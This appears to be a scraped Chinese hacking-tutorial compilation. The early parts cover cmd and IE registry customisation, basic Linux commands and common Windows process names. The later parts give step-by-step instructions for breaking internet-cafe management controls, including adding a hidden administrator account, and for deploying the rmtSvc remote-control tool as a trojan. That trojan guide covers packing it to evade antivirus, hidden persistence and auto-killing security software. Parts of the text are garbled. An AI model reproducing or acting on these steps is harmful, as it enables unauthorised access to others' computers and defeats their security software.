中间echo后面的文字都可以任意更改,比如加入自己喜欢的座右铭或者其它文字,而%date%和%time%是调用系统当前日期和时间,“title键盘上的烟灰cmd.exe”是更改cmd窗口标题名字。“color3c”则是设置cmd窗口的前景和背景颜色,前一个数字或字母为背景色,后一个数字或者字母为前景色,下面是一些颜色对应的数字或字母:0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白。编辑好cmd.cmd文件后,我们现在可以把它复制到系统目录下,如c:/windows。 第二步:在开始菜单中运行“regedit”打开注册表编辑器,定位到[HKEY_LOCAL_MacHINE\\SOFTWARE\\Microsoft\\commandproce or]下,将“AutoRun”这个DWord值更改为“%systemroot%\\cmd.cmd”(不含引号),保存注册表,在开始菜单中运行cmd命令看看效果吧,是不是很酷。 另外,如果希望一打开“命令提示符”就显示的某个自己需要的命令提示符,还可以在cmd.cmd文件里加入这样的一段代码,如“promptC:/windows”,代码格式为“prompt名称”。 1.CMD制作过程. 首先我们来做一个批处理文件.内容如下: @DongdOFF CLS DongdXX制作 Dongd[
] DongdXX我想你你%USER title上你你你你你你 color02 rompt[
] @echoon 把上面文件名保存为run.cmd.bat .当然啦,喜欢把上面的文字改成你喜欢的.倒入就行了. 然后把这个run.cmd.bat拷到c盘系统目录中,如:c:\windows\system32\ 接下来就是导入注册表,或直接修改也行,我这里为了方便,就不改了,直接导入: WindowsRegistryEditorVersion5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CommandProce or] quot;AutoRu quot;=C:\\WINDOWS\\SYSTEM32\\RUN.CMD.BAT quot;CompletionChar=dword:00000040 quot;DefaultColor=dword:00000000 quot;EnableExte io quot;=dword:00000001 quot;PathCompletionChar=dword:00000040 好了,试一下,打开你的CMD是不是变了.很酷吧? 2.IE浏览器个性化修改 正常我们看到,IE浏览器,一直以来的都是微软的英文字母,看起来就不爽,有没有好看一点,属于我们的想要的字呢,好,修改台头title 打开注册表: [HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main] 在里面添加你想要的例如: quot;WindowTitle=我爱你宝贝 Linux提供了大量的命令,利用它可以有效地完成大量的工作,如磁盘操作、文件存取、目录操作、进程管理、文件权限设定等。所以,在Linux系统上工作离不开使用系统提供的命令。要想真正理解Linux系统,就必须从Linux命令学起,通过基础的命令学习可以进一步理解Linux系统。 不同Linux发行版的命令数量不一样,但Linux发行版本最少的命令也有200多个。这里笔者把比较重要和使用频率最多的命令,按照它们在系统中的作用分成下面六个部分一一介绍。 ◆***和登录命令: login、shutdown、halt、reboot、i tall、mount、umount、chsh、exit、last; ◆文件处理命令: file、mkdir、grep、dd、find、mv、ls、diff、cat、ln; ◆系统管理相关命令: df、top、free、quota、at、lp、adduser、groupadd、kill、crontab; ◆网络操作命令: ifconfig、ip、ping、netstat、telnet、ftp、route、rlogin、rcp、finger、mail、 lookup; ◆系统安全相关命令: a wd、su、umask、chgrp、chmod、chown、chattr、sudo 、who; ◆其它命令: tar、unzip、gunzip、unarj、mtools、man、unendcode、uudecode。 本文以MandrakeLinux9.1(Kenrel2.4.21)为例,介绍Linux下的***和登录命令。 login 1.作用 login的作用是登录系统,它的使用权限是所有用户。 2.格式 login[name][-p][-h主机名称] 3.主要参数 -p:通知login保持现在的环境参数。 -h:用来向远程登录的之间传输用户名。 如果选择用命令行模式登录Linux的话,那么看到的第一个Linux命令就是login:。 一般界面是这样的: ManddrakeLinuxrelease9.1(Bamboo)fori586 renrel2.4.21-0.13mdkoni686/tty1 localhostlogin:root a word: 上面代码中,第一行是Linux发行版本号,第二行是内核版本号和登录的虚拟控制台,我们在第三行输入登录名,按“Enter”键在Pa word后输入账户密码,即可登录系统。出于安全考虑,输入账户密码时字符不会在屏幕上回显,光标也不移动。 登录后会看到下面这个界面(以超级用户为例): [
]# lastlogin:Tue,Nov1810:00:55onvc/1 上面显示的是登录星期、月、日、时间和使用的虚拟控制台。 4.应用技巧 Linux是一个真正的多用户操作系统,可以同时接受多个用户登录,还允许一个用户进行多次登录。这是因为Linux和许多版本的Unix一样,提供了虚拟控制台的访问方式,允许用户在同一时间从控制台(系统的控制台是与系统直接相连的监视器和键盘)进行多次登录。每个虚拟控制台可以看作是一个独立的工作站,工作台之间可以切换。虚拟控制台的切换可以通过按下Alt键和一个功能键来实现,通常使用F1-F6。 例如,用户登录后,按一下“Alt+F2”键,用户就可以看到上面出现的“login:”提示符,说明用户看到了第二个虚拟控制台。然后只需按“Alt+F1”键,就可以回到第一个虚拟控制台。一个新***的Linux系统允许用户使用“Alt+F1”到“Alt+F6”键来访问前六个虚拟控制台。虚拟控制台最有用的是,当一个程序出错造成系统死锁时,可以切换到其它虚拟控制台工作,关闭这个程序。 hutdown 1.作用 hutdown命令的作用是关闭计算机,它的使用权限是超级用户。 2.格式 hutdown[-h][-i][-k][-m][-t] 3.重要参数 -t:在改变到其它运行级别之前,告诉init程序多久以后关机。 -k:并不真正关机,只是送警告信号给每位登录者。 -h:关机后关闭电源。 -c:cancelcurrentproce 取消目前正在执行的关机程序。所以这个选项当然没有时间参数,但是可以输入一个用来解释的讯息,而这信息将会送到每位使用者。 -F:在重启计算机时强迫fsck。 -time:设定关机前的时间。 -m:将系统改为单用户模式。 -i:关机时显示系统信息。 4.命令说明 hutdown命令可以安全地将系统关机。有些用户会使用直接断掉电源的方式来关闭Linux系统,这是十分危险的。因为Linux与Windows不同,其后台运行着许多进程,所以强制关机可能会导致进程的数据丢失,使系统处于不稳定的状态,甚至在有的系统中会损坏硬件设备(硬盘)。在系统关机前使用shutdown命令,系统管理员会通知所有登录的用户系统将要关闭,并且login指令会被冻结,即新的用户不能再登录。 halt 1.作用 halt命令的作用是关闭系统,它的使用权限是超级用户。 2.格式 halt[-n][-w][-d][-f][-i][-p] 3.主要参数说明 -n:防止sync系统调用,它用在用fsck修补根分区之后,以阻止内核用老版本的超级块覆盖修补过的超级块。 -w:并不是真正的重启或关机,只是写wtmp(/var/log/wtmp)纪录。 -f:没有调用shutdown,而强制关机或重启。 -i:关机(或重启)前,关掉所有的网络接口。 -f:强迫关机,不呼叫shutdown这个指令。 -p:当关机的时候顺便做关闭电源的动作。 -d:关闭系统,但不留下纪录。 4.命令说明 halt就是调用shutdown-h。halt执行时,杀死应用进程,执行sync(将存于buffer中的资料强制写入硬盘中)系统调用,文件系统写操作完成后就会停止内核。若系统的运行级别为0或6,则关闭系统;否则以shutdown指令(加上-h参数)来取代。 reboot 1.作用 reboot命令的作用是重新启动计算机,它的使用权限是系统管理者。 2.格式 reboot[-n][-w][-d][-f][-i] 3.主要参数 -n:在重开机前不做将记忆体资料写回硬盘的动作。 -w:并不会真的重开机,只是把记录写到/var/log/wtmp文件里。 -d:不把记录写到/var/log/wtmp文件里(-n这个参数包含了-d)。 -i:在重开机之前先把所有与网络相关的装置停止。 i tall 1.作用 i tall命令的作用是***或升级软件或备份数据,它的使用权限是所有用户。 2.格式 (1)i tall[选项]来源目的地 (2)i tall[选项]来源目录 (3)i tall-d[选项]目录 在前两种格式中,会将复制至或将多个文件复制至已存在的,同时设定权限模式及所有者/所属组。在第三种格式中,会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。 3.主要参数 --backup[=CO***OL]:为每个已存在的目的地文件进行备份。 -b:类似--backup,但不接受任何参数。 -c:(此选项不作处理)。 -d,--directory:所有参数都作为目录处理,而且会创建指定目录的所有主目录。 -D:创建前的所有主目录,然后将复制至;在第一种使用格式中有用。 -g,--group=组:自行设定所属组,而不是进程目前的所属组。 -m,--mode=模式:自行设定权限模式(像chmod),而不是rwxr-xr-x。 -o,--owner=所有者:自行设定所有者(只适用于超级用户)。 -p,--preserve-timestam :以文件的访问/修改时间作为相应的目的地文件的时间属性。 -s,--strip:用strip命令删除symboltable,只适用于第一及第二种使用格式。 -S,--suffix=后缀:自行指定备份文件的。 -v,--verbose:处理每个文件/目录时印出名称。 --help:显示此帮助信息并离开。 --version:显示版本信息并离开。 mount 1.作用 mount命令的作用是加载文件系统,它的用权限是超级用户或/etc/fstab中允许的使用者。 2.格式 mount-a[-fv][-tvfstype][-n][-rw][-F]devicedir 3.主要参数 -h:显示辅助信息。 -v:显示信息,通常和-f用来除错。 -a:将/etc/fstab中定义的所有文件系统挂上。 -F:这个命令通常和-a一起使用,它会为每一个mount的动作产生一个行程负责执行。在系统需要挂上大量NFS文件系统时可以加快加载的速度。 -f:通常用于除错。它会使mount不执行实际挂上的动作,而是模拟整个挂上的过程,通常会和-v一起使用。 -tvfstype:显示被加载文件系统的类型。 -n:一般而言,mount挂上后会在/etc/mtab中写入一笔资料,在系统中没有可写入文件系统的情况下,可以用这个选项取消这个动作。 4.应用技巧 在Linux和Unix系统上,所有文件都是作为一个大型树(以/为根)的一部分访问的。要访问CD-ROM上的文件,需要将CD-ROM设备挂装在文件树中的某个挂装点。如果发行版***了自动挂装包,那么这个步骤可自动进行。在Linux中,如果要使用硬盘、光驱等储存设备,就得先将它加载,当储存设备挂上了之后,就可以把它当成一个目录来访问。挂上一个设备使用mount命令。在使用mount这个指令时,至少要先知道下列三种信息:要加载对象的文件系统类型、要加载对象的设备名称及要将设备加载到哪个目录下。 (1)Linux可以识别的文件系统 ◆Windows95/98常用的FAT32文件系统:vfat; ◆WinNT/2000的文件系统:ntfs; ◆OS/2用的文件系统:hpfs; ◆Linux用的文件系统:ext2、ext3; ◆CD-ROM光盘用的文件系统:iso9660。 虽然vfat是指FAT32系统,但事实上它也兼容FAT16的文件系统类型。 (2)确定设备的名称 在Linux中,设备名称通常都存在/dev里。这些设备名称的命名都是有规则的,可以用“推理”的方式把设备名称找出来。例如,/dev/hda1这个IDE设备,hd是HardDisk(硬盘)的,sd是SCSIDevice,fd是Flo yDevice(或是Flo yDisk?)。a代表第一个设备,通常IDE接口可以接上4个IDE设备(比如4块硬盘)。所以要识别IDE硬盘的方法分别就是hda、hdb、hdc、hdd。hda1中的“1”代表hda的第一个硬盘分区(partition),hda2代表hda的第二主分区,第一个逻辑分区从hda5开始,依此类推。此外,可以直接检查/var/log/me ages文件,在该文件中可以找到计算机开机后系统已辨认出来的设备代号。 (3)查找挂接点 在决定将设备挂接之前,先要查看一下计算机是不是有个/mnt的空目录,该目录就是专门用来当作挂载点(MountPoint)的目录。建议在/mnt里建几个/mnt/cdrom、/mnt/flo y、/mnt/mo等目录,当作目录的专用挂载点。举例而言,如要挂载下列5个设备,其执行指令可能如下(假设都是Linux的ext2系统,如果是WindowsXX请将ext2改成vfat): 软盘===mount-text2/dev/fd0/mnt/flo y cdrom===mount-tiso9660/dev/hdc/mnt/cdrom SCSIcdrom===mount-tiso9660/dev/sdb/mnt/scdrom SCSIcdr===mount-tiso9660/dev/sdc/mnt/scdr 不过目前大多数较新的Linux发行版本(包括红旗Linux、中软Linux、MandrakeLinux等)都可以自动挂装文件系统,但RedHatLinux除外。 umount 1.作用 umount命令的作用是卸载一个文件系统,它的使用权限是超级用户或/etc/fstab中允许的使用者。 2.格式 unmount-a[-fFnrsvw][-tvfstype][-n][-rw][-F]devicedir 3.使用说明 umount命令是mount命令的逆操作,它的参数和使用方法和mount命令是一样的。Linux挂装CD-ROM后,会锁定CD—ROM,这样就不能用CD-ROM面板上的Eject按钮弹出它。但是,当不再需要光盘时,如果已将/cdrom作为符号链接,请使用umount/cdrom来卸装它。仅当无用户正在使用光盘时,该命令才会成功。该命令包括了将带有当前工作目录当作该光盘中的目录的终端窗口。 chsh 1.作用 chsh命令的作用是更改使用者shell设定,它的使用权限是所有使用者。 2.格式 chsh[-s][-list][--help][-v][username] 3.主要参数 -l:显示系统所有Shell类型。 -v:显示Shell版本号。 4.应用技巧 前面介绍了Linux下有多种Shell,一般缺省的是Bash,如果想更换Shell类型可以使用chsh命令。先输入账户密码,然后输入新Shell类型,如果操作正确系统会显示“Shellchange”。其界面一般如下: Changingfihangingshellforcao Pa word: Newshell[/bin/bash]:/bin/tcsh 上面代码中,[]内是目前使用的Shell。普通用户只能修改自己的Shell,超级用户可以修改全体用户的Shell。要想查询系统提供哪些Shell,可以使用chsh-l命令,见图1所示。 图1系统可以使用的Shell类型 从图1中可以看到,笔者系统中可以使用的Shell有bash(缺省)、csh、sh、tcsh四种。 exit 1.作用 exit命令的作用是退出系统,它的使用权限是所有用户。 2.格式 exit 3.参数 exit命令没有参数,运行后退出系统进入登录界面。 last 1.作用 last命令的作用是显示近期用户或终端的登录情况,它的使用权限是所有用户。通过last命令查看该程序的log,管理员可以获知谁曾经或企图连接系统。 2.格式 1ast[—n][-ffile][-ttty][—h节点][-I—IP][—1][-y][1D] 3.主要参数 -n:指定输出记录的条数。 -ffile:指定用文件file作为查询用的log文件。 -ttty:只显示指定的虚拟控制台上登录情况。 -h节点:只显示指定的节点上的登录情况。 -iIP:只显示指定的IP上登录的情况。 -1:用IP来显示远端地址。 -y:显示记录的年、月、日。 -ID:知道查询的用户名。 -x:显示系统关闭、用户登录和退出的历史。 动手练习 上面介绍了Linux***和登录命令,下面介绍几个实例,动手练习一下刚才讲过的命令。 1.一次运行多个命令 在一个命令行中可以执行多个命令,用分号将各个命令隔开即可,例如: #last-x;halt 上面代码表示在显示系统关闭、用户登录和退出的历史后关闭计算机。 2.利用mount挂装文件系统访问Windows系统 许多Linux发行版本现在都可以自动加载Vfat分区来访问Windows系统,而RedHat各个版本都没有自动加载Vfat分区,因此还需要进行手工操作。 mount可以将Windows分区作为Linux的一个“文件”挂接到Linux的一个空文件夹下,从而将Windows的分区和/mnt这个目录联系起来。因此,只要访问这个文件夹就相当于访问该分区了。首先要在/mnt下建立winc文件夹,在命令提示符下输入下面命令: #mount-tvfat/dev/hda1/mnt/winc 即表示将Windows的C分区挂到Liunx的/mnt/winc目录下。这时,在/mnt/winc目录下就可以看到Windows中C盘的内容了。使用类似的方法可以访问Windows系统的D、E盘。在Linux系统显示Windows的分区一般顺序这样的:hda1为C盘、hda5为D盘、hda6为E盘……以此类推。上述方法可以查看Windows系统有一个很大的问题,就是Windows中的所有中文文件名或文件夹名全部显示为问号“?”,而英文却可以正常显示。我们可以通过加入一些参数让它显示中文。还以上面的操作为例,此时输入命令: #mount-tvfat-oiocharset=cp936/dev/hda1/mnt/winc 现在它就可以正常显示中文了。 3.使用mount加挂闪盘上的文件系统 在Linux下使用闪盘非常简单。Linux对USB设备有很好的支持,当插入闪盘后,闪盘被识别为一个SCSI盘,通常输入以下命令: #mount/dev/sda1/u 就能够加挂闪盘上的文件系统。 小知识 Linux命令与Shell 所谓Shell,就是命令解释程序,它提供了程序设计接口,可以使用程序来编程。学习Shell对于Linux初学者理解Linux系统是非常重要的。Linux系统的Shell作为操作系统的外壳,为用户提供了使用操作系统的接口。Shell是命令语言、命令解释程序及程序设计语言的统称,是用户和Linux内核之间的接口程序。如果把Linux内核想象成一个球体的中心,Shell就是围绕内核的外层。当从Shell或其它程序向Linux传递命令时,内核会做出相应的反应。Shell在Linux系统的作用和MSDOS下的COMMAND.COM和Windows95/98的explorer.exe相似。Shell虽然不是系统核心的一部分,只是系统核心的一个外延,但它能够调用系统内核的大部分功能。因此,可以说Shell是Unux/Linux最重要的实用程序。 Linux中的Shell有多种类型,其中最常用的是BourneShell(sh)、CShell(csh)和KornShell(ksh)。大多数Linux发行版本缺省的Shell是BourneAgainShell,它是BourneShell的扩展,简称bash,与BourneShell完全向后兼容,并且在BourneShell的基础上增加了很多特性。bash放在/bin/bash中,可以提供如命令补全、命令编辑和命令历史表等功能。它还包含了很多CShell和KornShell中的优点,有灵活和强大的编程接口,同时又有很友好的用户界面。Linux系统中200多个命令中有40个是bash的内部命令,主要包括exit、le 、lp、kill、cd、pwd、fc、fg等。 Windows的任务管理器是一个非常有用的工具,它能提供我们很多信息,比如现在系统中运行的程序(进程),但是面对那些文件可执行文件名我们可能有点茫然,不知道它们是做什么的,会不会有可疑进程(病毒,木马等)。本文的目的就是提供一些常用的Windows中的进程名,并简单说明它们的用处。 在WINDOWS中,系统常用进程: Conime.exe Csr .exe Ctfmon.exe Explorer.exe Locator.exe Lsa .exe Mstask.exe Sm .exe Spoolsv.exe Svchost.exe五个 Services.exe System SystemIdleProce Taskmgr.exe Wdfmgr.exe Winlogon.exe WinXPManager.exe 微软其他相关服务、软件补充 Activation.exe——(Microsoft)Microsoftwindows,office的激活服务 A clist.exe——(Microsoft)MicrosoftWebTV的A ouncementListener ASPNet_State.exe——(Microsoft)ASP服务(不是ActiveServerpage) ASPNET_WP.exe——(Microsoft)ASP.NETWorkerProce . Bpcpost.exe——(Microsoft)微软TVviewer软件 ClipSrv.exe——(Microsoft)WindowsNT剪贴板DDE服务器,支持“剪贴簿查看器”,以便可以从远程剪贴簿查阅剪贴页面 Cmmon32.exe——(Microsoft)MicrosoftCo ectionManagerMonitor.微软连接管理监视器 Conime.exe——输入法编辑器,允许用户使用标准键盘就能输入复杂的字符与符号。 df vc.exe——管理分布于局域网或广域网的逻辑卷 D .exe——应答对域名系统(d )名称的查询和更新请求 DMAdmin.exe——(Microsoft)磁盘管理请求的系统管理服务,又叫“逻辑磁盘管理服务” DumpRep.exe——(Microsoft)Windows错误报告程序 DW.exe——(Microsoft)Microsoft的应用程序错误报告 Dxdllreg.exe——(Microsoft)MicrosoftDirectX的DLL注册. Fast.exe——(Microsoft)微软旧版本的Powertoysforwinxp软件,据说可以加快程序启动 FaxSvc.exe——(Microsoft)Microsoft传真服务,帮助您发送和接收传真,Windows2000/XP/2003中出现 FxSSvc.exe——(Microsoft)Microsoft传真服务,帮助您发送和接收传真,WindowsXPand2003. grovel.exe——扫描零备份存储(sis)卷上的重复文件,并且将重复文件指向一个数据存储点,以节省磁盘空间(只对ntfs文件系统有用) HCDetect.exe——(Microsoft)MicrosoftHomeClicknetworking软件的后台组件 HelpSVC.exe——(Microsoft)Microsoft帮助中心服务 IC**GR.exe——(Microsoft)IC**GR是微软Internet連接共享协议管理 ICWCo 1.exe——(Microsoft)打開Internet連接向導后出現 IMAPI.exe——(Microsoft)ImageMasteringAPIServiceforCD-Burning. Inetsw95.exe——(Microsoft)Win95下面的PersonalWebServer ismserv.exe——允许在windowsadvancedserver站点间发送和接收消息 Jdbgmgr.exe——(Microsoft)MicrosoftDebuggerforJava.也有可能是病毒 Lights.exe——(Microsoft)Microsoft的Modem监视器 Locator.exe——(Microsoft)远程过程调用定位服务,管理rpc名称服务数据库 lserver.exe——注册客户端许可证 ll rv.exe——***记录服务 MAPISp32.exe——(Microsoft)MicrosoftWindows消息子系统缓冲 MSOffice.exe——(Microsoft)MicrosoftOffice工具栏 Migrate.dll——(Microsoft)在从win9x升级到2000/XP后出现,估计是处理9X的网络打印问题 MNMSrvc.exe——(Microsoft)MicrosoftNetMeeting远程桌面共享,允许有权限的用户使用netmeeting——远程访问windows桌面 MOSearch.exe——(Microsoft)MicrosoftOfficeXP快速搜索 tfrs.exe——在多个服务器间维护文件目录内容的文件同步 etdde.exe——提供动态数据交换(dde)的网络传输和安全特性 rseng.exe——协调用来储存不常用数据的服务和管理工具 rsfsa.exe——管理远程储存的文件的操作 rsvp.exe——依赖质量服务(qos)的程序和控制应用程序提供网络信号和本地通信控制***功功能 r ub.exe——控制用来远程储存数据的媒体 cardsvr.exe——对插入在计算机智能卡阅读器中的智能卡进行管理和访问控制 mlogsvc.exe——配置性能日志和警报 mptrap.exe——接收由本地或远程 mp代理程序产生的陷阱(trap)消息,然后将消息传递到运行在这台计算机上 mp管理程序 taskmgr.exe——(Microsoft)系统任务管理器 tftpd.exe——实现tftpinternet标准。该标准不要求用户名和密码。 utilman.exe——从一个窗口中启动和配置辅助工具 wmiprvse.exe——WMI提供程序(WMIprovider)在WMI和操作系统、应用程序以及其他系统的组件之间充当中介。 wi .exe——为注册和解析netbios型名称的tcp/ip客户提供netbios名称服务 tlntsvr.exe——允许远程用户登录到系统并且使用命令行运行控制台程序。 termsrv.exe——提供多会话环境允许客户端设备访问虚拟的Windows2000 Profe ional——桌面会话以及运行在服务器上的基于Windows的程序。 u .exe——管理连接到计算机的不间断电源(u control.exe——控制面板(在XP打上SP2后才有——原先控制面板只是默认为文件夹,不会专门出现在进程表上;可能会同时出现多个,且内存占用不低,但属正常情况) wscenfy.exe——微软的安全中心的通知程序(在XP打上SP2后才有,一般在在你系统安全设置存在风险的时候就会出现。)你要想让它不出现,就得①***杀毒软件,或者放弃监视。②开启自动更新。③开启防火墙,或者选择不监视防火墙。否则这个东东就赖在任务栏了。 Wuauclt.exe——AutomaticUpdates自动升级占用的资源也不算太小。运行时内存占用达到了6m左右,好在自动升级不是每时每刻开着的。但是如果你关闭了这个程序的话,呵呵。wscenfy.exe就会启动,又是3m内存,呵呵。时时刻刻通知你,该注意自动升级这事情了。又得内存说话了。 mqtgsvc.exe——系统服务,Me ageQueuingTriggers mqsvc.exe——M**QMigrationUtility信息队列迁移工具 PQV2iSvc.exe——管理V2iProtector代理,系统服务 注:介绍了这么多简单知识,接下了来我们可以了解一些黑客入侵的简单手段了,好了,我不多说,从下一卷开始,我们正式学习入侵!! 好了,今天起,我给大家讲解一些简单的入侵知识和方法,供大家娱乐一下 目前仍然还有不少网吧使用的万象版本比较底.对于这类被淘汰的老古董.破解的方法实在是多.我就给总结一下下.说的不好.请大虾们不要笑我.还有如果哪位大虾有别的技巧.可否拿出来一起分享. 1输入法漏洞 相信这个漏洞已经是无人不知了.方法是V+↑+delete+回车.我就不再多说了 2从进程入手 这类都是从进程入手的方法.其实都大同小异.一般都是结束掉万象的CL**N这个进程.或者使用 Proce Explorer这个软件把clsmn给挂起. 结束进程的话要在开机的时候抓准时机用C+A+D呼出任务管理器.结束进程两次. 万象有自我保护措施.进程断开后又会重启.但是第二次就不会了. 3从网络连接入手 网络连接是一个突破口.只要能打开网上邻居查看网络连接就行了.打开连接属性.除了TCP/IP这个协议以外全部去掉.这样你就与主机的万象断开了.想干嘛就干嘛了. 如果你只是要玩单机游戏.不想上网.建议你干脆把网络连接给禁用了.或者更狠点.把机箱后面的网线给拔了更省事.(要做好被网管发现的准备) 4还是从网络连接入手 现在有很多万象都不让查看网络连接了.有没有什么办法让那个可爱的:网上邻居再次出现呢? 当然有.方法还不少. 一.使用命令提示符.给系统添加帐户.这个方法需要一点点DOS命令方面的知识.实在不知道.那就硬记好了.~`````````````````````````` 等一下,有人要问了.网吧里怎么打开命令提示符啊?.呵呵这个简单.知道DOS会用DOS的人.一定能打开它的.有了CMD(也就是命令提示符)我们就能访问到本地磁盘了.呵呵```` 方法是:单击右键.选择新建文本文档.在文档里面输入:CMD.EXE然后另存为后辍名是BAT的文件就行了.比如CMD.BAT然后你运行CMD.BAT看看.这不就是我们的CMD吗?很简单吧~````````````` 又有人要问了.网吧里右键都被屏逼掉了.怎么办啊.? 方法是有的.而却还是很多的.SHIF+F10这两个按扭就能让右键出来了.要是还不行的话.你就要利用其他程序的帮助了.一般网吧里都会提供一个可以访问的下载盘.在这个盘里一定可以使用右键.实在没有就用QQ等软件.比如发送图片.或者文件.这时跳出的窗口里就能用右键了. 好了.有了CMD怎么办呢?当然是给系统添加帐户咯.输入:" etuser用户名/add(用户名随便打.自己记住了就行).好了现在要把你刚才添加的用户添加到管理员组方法是输入:" etlocalgroupadministrators用户名/add这样就行了.好了注销吧~``````` 现在进入登入界面.别着急.使用换挡键却换到用户名那里输入你刚才添加的用户名进入就行了. 好了现在已经进入新用户的桌面了.看看.全都不一样了吧.呵呵那个网上邻居不是出来了?再看看你的右键.还有开始菜单.是不是全都出来了.现在就可以照上面的方法把万象的连接协议去掉了.留下TCP/IP就行了.接下来就玩吧 (有些万象实在是狠.改了注册表.新的管理员帐户也无法访问本地磁盘.别着急.我们不是还有CMD嘛.呵呵,只要有它还怕什么啊,想干嘛就干嘛吧.) 二.这个方法更简单. 同样先照上面方法.打开CMD.然后出入REGEDIT也就是我们的注册表.打开注册表后要按顺序 HKEY_CURRENT_USE——SOFTWARE——SICENT——WX2004CLT 然后把!!!APP.!!IESETCIPHER.!!!RUNSETCIPHER.!!!UNLOCKCIPHER这四个键全都删了. 也就是前面有三个感叹号的全都删除掉就行了. 现在你看看能不能用空密码进入万象的系统设置.呵呵.一般都可以吧.既然能设置系统了.你还有什么不能玩的呢?呵呵~```````` 5利用破解软件. 现在有很多针对万象啊美萍啊.还有还原精灵的破解软件.使用他们非常简单.比如狼盗破解器等等的```````反正有很多.只要在BAIDU里搜一下就是一大堆了.具体的使用方法.就没法一一阐述了.这类软件的寿命不长.万象也是会不断更新的. 补充: 还有一个方法.因为网吧里没有运行.所以也要同上面一样先打开一个CMD来.然后输入gpedit.msc就是组策略拉.然后是:用户配置——管理模板.接下来.你自己在里面看咯呵呵.相信你应该知道要怎么做吧.不要说我懒.因为这是补充嘛.有些东西是要自己去努力发现的.不能光别人说的 接下来如果你成功了的话.你应该会在开始菜单或者桌面上看到:网上邻居接下来还是去掉除TCP/IP以外的协议.这样就OK了 以上就是我总结的破解网吧管理的方法.其实网络上有很多很多.自己可以用GOOGLE或者BAIDU搜一下就行了.有一种新的破解方法.就会有一新的限制.这跟病毒和杀软的关系一样.两者都是在不断的更新的.但是病毒总是比杀软领先一步.总是有个空子来钻的. 一、有IE想黑就黑 简单点说,rmtSvc是一款集FTP、Telnet服务、Proxy服务以及vIDC服务的远程控制工具。用户可以通过此款工具方便地对远程计算机进行控制。此工具和其它远程控制工具不同,它采用B/S结构(无需***),用户可通过浏览器进行远程控制(我们的口号是:有IE,想黑就黑!)。 下面,笔者就以入侵控制的实例来为大家分别介绍rmtSvc常用功能的使用方法及技巧。解压下载后的压缩包,先别急着让rmtSvc.exe在目标机运行(未加壳的程序会遭到杀毒软件的查杀),笔者先告诉大家如何给源程序加壳从而避免被查杀吧(不然就没得玩了-_-|)。运行该软件,进入“选项”菜单,勾选“保留额外数据”,然后“打开文件”,选择源程序rmtSvc.exe后就会自动压缩了。 特别提醒:压缩后的rmtSvc.exe不会被杀毒软件查杀,而且文件体积会减少近50%(经过金山毒霸6增强版、KV2005、诺顿2005测试),如果想进一步增强隐蔽性,请参考2004年第50期G9版《披着羊皮的狼——将Radmin改造为百分百木马》一文介绍的“超级捆绑”软件的使用方法。木马程序的欺骗发送本文就不作进一步讨论了。 二、武装RmtSvc“暗杀”杀毒软件 1.打开浏览器输入
(其中IP为被控机的IP地址,port为rmtSvc的服务端口,默认为7778)。连接成功后将会看到如图1的欢迎登录画面,输入访问密码(默认为123456),就可以进行rmtSvc所支持的操作(如果之前已经连同m lib.dll和webe目录都发给了对方,那么rmtSvc将会多出用MSN进行远程控制和HTTP方式文件管理的功能)。 2.欢迎登录画面的上方为rmtSvc的系统菜单,从左至右的功能依次为:Pview(进程查看)、Spy++(远程控制管理)、Proxy(启动或停止rmtSvc的代理服务)、vIDC(设置vIDCs的访问权限)、logoff(注销对rmtSvc登录)、Option(配置rmtSvc的运行参数)、About(rmtsvc欢迎/登录画面)。 3.第一次登录需进入rmtSvc的参数设置更改敏感信息(图2),这样才能保障其安全性。先在“ModifyPa word”修改rmtSvc访问密码,再在“ServicePort”更改rmtSvc服务端口为任意一个4位不常用的端口(需要重启服务才会生效,建议设为高端端口)。然后将“StartControl、Stolenmode”选上,这样rmtSvc会自动***为Windows服务随机启动且服务为隐藏属性,这也就意味着在下次启动时,你可以继续控制目标机器。 4.接下来在“Startmode”选项中,设置rmtSvc运行后自动启动FTP和Telnet服务(另外还有Proxy、vIDCs映射等)。通过FTP可以方便地进行文件上传下载。再将“Autoi tallservice”和“ForbiddetachingDll”选择上,这样每次程序运行时会自动检测rmtSvc服务是否已***,如果没有***则自动***为服务(相当于自我修复功能)并释放一个DLL文件(可修改文件名,默认为inject.dll),这是为了防止自动释放的未加壳的DLL被杀毒软件查杀,用户可以选择不释放DLL。手工将加壳后的DLL拷入到被控机的系统目录下,在释放DLL的名称处填入你加壳后的DLL名称。 高手传经:rmtSvc释放的DLL主要有以下用处:隐藏进程、模拟“Ctrl+Alt+Del”按键、显示密码框密码、监视rmtSvc运行情况。如果异常退出或被杀掉则会自动重新启动,将配置参数写入rmtSvc程序本身(强烈建议选择)。 5.接下来在“KilledProgram”中,设定rmtSvc监视并自动杀掉的进程名称,如有多个进程,各个名称之间以逗号分隔。例如输入:PFW.exe,K***Svc.exe就可以把金山毒霸和天网防火墙关闭。 6.一切设置无误后,点击“Save”保存当前配置,在弹出的对话框中输入reg,将配置参数写入到注册表。输入self则是将配置参数写入该EXE文件自身,如果填写其它则会生成相应文件名的.exe的副本,并将配置参数写入此EXE副本。例如:输入c:\abc.exe,将在c盘根目录下生成一个abc.exe副本,并将配置参数写入此副本。 7.随后rmtSvc服务会重新启动运行。 高手传经:隐藏模式下才可以将配置参数写入EXE本身,如果没有保存,每次在rmtSvc正常退出时也会将配置参数写入EXE本身。 8.再次使用新设密码登录后,单击Pview进入“进程查看”页面,在这里将显示三个部分的信息:系统信息、进程/模块信息、CPU/内存使用信息。在页面的右边为进程模块显示区域,点击某个进程名则显示此进程的相关模块信息,点击“KillIt”按钮就可以杀掉该进程(需要注意的是进程列表不会实时自动刷新,用户必须手工刷新)。现在你的rmtSvc已经被武装到了牙齿,还等什么,可以出手了。 三、用IE控制过把瘾 把挡路的安全软件给“暗杀”后,接下来就可以趁对方不在时使用Spy++远程控制管理来远程控制机器了。当然在控制前我们需要将相关参数设置妥当,这样才能得到更好的控制效果。 1.在“Quality”显示效果中选择Good(好),“Stretch”设置捕获图像的缩小比率80%。最后将“Cursor”选上,这样在捕获远程计算机屏幕时就会连同鼠标光标一起捕捉,以便用户知道当前鼠标光标位置。设置好后点击“Set”使上述三个参数生效。 